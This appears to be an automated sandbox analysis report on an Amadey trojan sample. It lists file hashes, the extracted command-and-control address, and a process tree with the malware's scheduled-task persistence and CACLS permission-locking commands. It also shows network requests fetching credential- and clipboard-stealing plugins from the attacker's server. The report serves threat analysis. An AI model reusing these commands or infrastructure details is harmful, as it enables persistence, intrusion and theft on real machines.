Overview

overview

10

Static

static

10

0x000a0000...87.exe

windows7-x64

10

0x000a0000...87.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    21/07/2023, 02:06 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0x000a000000015dbc-87.exe

  • Size

    228KB

  • MD5

    0709d929d383a7b7e0c0bc1b46c208f9

  • SHA1

    c25f2c24b5e6a03116feb48832fe673927a4c347

  • SHA256

    8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

  • SHA512

    92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

  • SSDEEP

    3072:oTzC4usLP+wOULUFAB3i9nyRA4/Prk3huiPFSbuZRuNcZVKOUm8LHIMbffWtsm3:oTzYsLdf/Rity237PFHRuNcPKOK3+

Score
10/10
amadeytrojan

Malware Config

Extracted

Family

amadey

Version

3.85

C2

77.91.68.3/home/love/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x000a000000015dbc-87.exe
    "C:\Users\Admin\AppData\Local\Temp\0x000a000000015dbc-87.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
      "C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2456
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe" /F
        3⤵
        • Creates scheduled task(s)
        PID:2848
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "danke.exe" /P "Admin:N"&&CACLS "danke.exe" /P "Admin:R" /E&&echo Y|CACLS "..\3ec1f323b5" /P "Admin:N"&&CACLS "..\3ec1f323b5" /P "Admin:R" /E&&Exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          4⤵
            PID:1612
          • C:\Windows\SysWOW64\cacls.exe
            CACLS "danke.exe" /P "Admin:N"
            4⤵
              PID:2156
            • C:\Windows\SysWOW64\cacls.exe
              CACLS "danke.exe" /P "Admin:R" /E
              4⤵
                PID:2844
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                4⤵
                  PID:2748
                • C:\Windows\SysWOW64\cacls.exe
                  CACLS "..\3ec1f323b5" /P "Admin:N"
                  4⤵
                    PID:3008
                  • C:\Windows\SysWOW64\cacls.exe
                    CACLS "..\3ec1f323b5" /P "Admin:R" /E
                    4⤵
                      PID:2388
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
                    3⤵
                    • Loads dropped DLL
                    PID:2588
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {6EB1E8C5-D97D-4470-9384-2D6391074176} S-1-5-21-3408354897-1169622894-3874090110-1000:WGWIREOE\Admin:Interactive:[1]
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:2716
                • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                  C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1964
                • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                  C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                  2⤵
                  • Executes dropped EXE
                  PID:2772
                • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                  C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1592

              Network

              • flag-fi
                POST
                http://77.91.68.3/home/love/index.php
                danke.exe
                Remote address:
                77.91.68.3:80
                Request
                POST /home/love/index.php HTTP/1.1
                Content-Type: application/x-www-form-urlencoded
                Host: 77.91.68.3
                Content-Length: 88
                Cache-Control: no-cache
                Response
                HTTP/1.1 200 OK
                Date: Fri, 21 Jul 2023 02:06:59 GMT
                Server: Apache/2.4.41 (Ubuntu)
                Content-Length: 6
                Content-Type: text/html; charset=UTF-8
              • flag-fi
                GET
                http://77.91.68.3/home/love/Plugins/cred64.dll
                danke.exe
                Remote address:
                77.91.68.3:80
                Request
                GET /home/love/Plugins/cred64.dll HTTP/1.1
                Host: 77.91.68.3
                Response
                HTTP/1.1 404 Not Found
                Date: Fri, 21 Jul 2023 02:07:49 GMT
                Server: Apache/2.4.41 (Ubuntu)
                Content-Length: 272
                Content-Type: text/html; charset=iso-8859-1
              • flag-fi
                GET
                http://77.91.68.3/home/love/Plugins/clip64.dll
                danke.exe
                Remote address:
                77.91.68.3:80
                Request
                GET /home/love/Plugins/clip64.dll HTTP/1.1
                Host: 77.91.68.3
                Response
                HTTP/1.1 200 OK
                Date: Fri, 21 Jul 2023 02:07:49 GMT
                Server: Apache/2.4.41 (Ubuntu)
                Last-Modified: Thu, 06 Jul 2023 18:47:56 GMT
                ETag: "16400-5ffd5f45b7dbc"
                Accept-Ranges: bytes
                Content-Length: 91136
                Content-Type: application/x-msdos-program
              • 77.91.68.3:80
                http://77.91.68.3/home/love/index.php
                http
                danke.exe
                514 B
                 365 B
                 6
                5

                HTTP Request

                POST http://77.91.68.3/home/love/index.php

                HTTP Response

                200
              • 77.91.68.3:80
                http://77.91.68.3/home/love/Plugins/clip64.dll
                http
                danke.exe
                3.6kB
                 94.8kB
                 71
                73

                HTTP Request

                GET http://77.91.68.3/home/love/Plugins/cred64.dll

                HTTP Response

                404

                HTTP Request

                GET http://77.91.68.3/home/love/Plugins/clip64.dll

                HTTP Response

                200
              No results found

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                Filesize

                228KB

                MD5

                0709d929d383a7b7e0c0bc1b46c208f9

                SHA1

                c25f2c24b5e6a03116feb48832fe673927a4c347

                SHA256

                8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

                SHA512

                92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                Filesize

                228KB

                MD5

                0709d929d383a7b7e0c0bc1b46c208f9

                SHA1

                c25f2c24b5e6a03116feb48832fe673927a4c347

                SHA256

                8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

                SHA512

                92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                Filesize

                228KB

                MD5

                0709d929d383a7b7e0c0bc1b46c208f9

                SHA1

                c25f2c24b5e6a03116feb48832fe673927a4c347

                SHA256

                8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

                SHA512

                92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                Filesize

                228KB

                MD5

                0709d929d383a7b7e0c0bc1b46c208f9

                SHA1

                c25f2c24b5e6a03116feb48832fe673927a4c347

                SHA256

                8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

                SHA512

                92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                Filesize

                228KB

                MD5

                0709d929d383a7b7e0c0bc1b46c208f9

                SHA1

                c25f2c24b5e6a03116feb48832fe673927a4c347

                SHA256

                8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

                SHA512

                92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                Filesize

                228KB

                MD5

                0709d929d383a7b7e0c0bc1b46c208f9

                SHA1

                c25f2c24b5e6a03116feb48832fe673927a4c347

                SHA256

                8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

                SHA512

                92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

                Download Submit

              • C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll
                Filesize

                89KB

                MD5

                dc587d08b8ca3cd62e5dc057d41a966b

                SHA1

                0ba6a88377c74a0c53b956d405ad17dd5f8c4164

                SHA256

                7d8f216ba04419aae32d5902449a0c5271ed577c722e582fb42e7d43b3b08426

                SHA512

                7300ecc40bfa1129d907a9b074e8406fa01b5ff893c7c281e4441f8cc6a546bcb5e099d6635b2f9714ec1f0453dc41de19f2fca3475f36f62babc425892699a9

                Download Submit

              • C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll
                Filesize

                89KB

                MD5

                dc587d08b8ca3cd62e5dc057d41a966b

                SHA1

                0ba6a88377c74a0c53b956d405ad17dd5f8c4164

                SHA256

                7d8f216ba04419aae32d5902449a0c5271ed577c722e582fb42e7d43b3b08426

                SHA512

                7300ecc40bfa1129d907a9b074e8406fa01b5ff893c7c281e4441f8cc6a546bcb5e099d6635b2f9714ec1f0453dc41de19f2fca3475f36f62babc425892699a9

                Download Submit

              • C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll
                Filesize

                272B

                MD5

                d867eabb1be5b45bc77bb06814e23640

                SHA1

                3139a51ce7e8462c31070363b9532c13cc52c82d

                SHA256

                38c69e3f9f3927f8178d55cde9774a2b170c057b349b73932b87b76499d03349

                SHA512

                afc40d5fa7bcd41b8445f597990d150d57e3621ddef9400af742471aa0d14c2e66cfecc34482dadbaeb6f20912fda8ab786e584bf7fd1ad5fa23d3b95425fd59

                Download Submit

              • \Users\Admin\AppData\Local\Temp\3ec1f323b5\danke.exe
                Filesize

                228KB

                MD5

                0709d929d383a7b7e0c0bc1b46c208f9

                SHA1

                c25f2c24b5e6a03116feb48832fe673927a4c347

                SHA256

                8e0ce2743cb2e2ce038b92ac7e4234a432279dcce4c892555b9440aa8b16265e

                SHA512

                92cde8147bf7dc9208261a2a1ce8c5536c28b710bc520afc5e9916920f8b9d1ba4c66b243e56a1a48c06df6c29280d76d3d5d8b2845cc158c2264b0df2b24029

                Download Submit

              • \Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll
                Filesize

                89KB

                MD5

                dc587d08b8ca3cd62e5dc057d41a966b

                SHA1

                0ba6a88377c74a0c53b956d405ad17dd5f8c4164

                SHA256

                7d8f216ba04419aae32d5902449a0c5271ed577c722e582fb42e7d43b3b08426

                SHA512

                7300ecc40bfa1129d907a9b074e8406fa01b5ff893c7c281e4441f8cc6a546bcb5e099d6635b2f9714ec1f0453dc41de19f2fca3475f36f62babc425892699a9

                Download Submit

              • \Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll
                Filesize

                89KB

                MD5

                dc587d08b8ca3cd62e5dc057d41a966b

                SHA1

                0ba6a88377c74a0c53b956d405ad17dd5f8c4164

                SHA256

                7d8f216ba04419aae32d5902449a0c5271ed577c722e582fb42e7d43b3b08426

                SHA512

                7300ecc40bfa1129d907a9b074e8406fa01b5ff893c7c281e4441f8cc6a546bcb5e099d6635b2f9714ec1f0453dc41de19f2fca3475f36f62babc425892699a9

                Download Submit

              • \Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll
                Filesize

                89KB

                MD5

                dc587d08b8ca3cd62e5dc057d41a966b

                SHA1

                0ba6a88377c74a0c53b956d405ad17dd5f8c4164

                SHA256

                7d8f216ba04419aae32d5902449a0c5271ed577c722e582fb42e7d43b3b08426

                SHA512

                7300ecc40bfa1129d907a9b074e8406fa01b5ff893c7c281e4441f8cc6a546bcb5e099d6635b2f9714ec1f0453dc41de19f2fca3475f36f62babc425892699a9

                Download Submit

              • \Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll
                Filesize

                89KB

                MD5

                dc587d08b8ca3cd62e5dc057d41a966b

                SHA1

                0ba6a88377c74a0c53b956d405ad17dd5f8c4164

                SHA256

                7d8f216ba04419aae32d5902449a0c5271ed577c722e582fb42e7d43b3b08426

                SHA512

                7300ecc40bfa1129d907a9b074e8406fa01b5ff893c7c281e4441f8cc6a546bcb5e099d6635b2f9714ec1f0453dc41de19f2fca3475f36f62babc425892699a9

                Download Submit

              • memory/1456-53-0x00000000001E0000-0x00000000001E1000-memory.dmp

                Filesize

                4KB

                Download

              We care about your privacy.

              This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.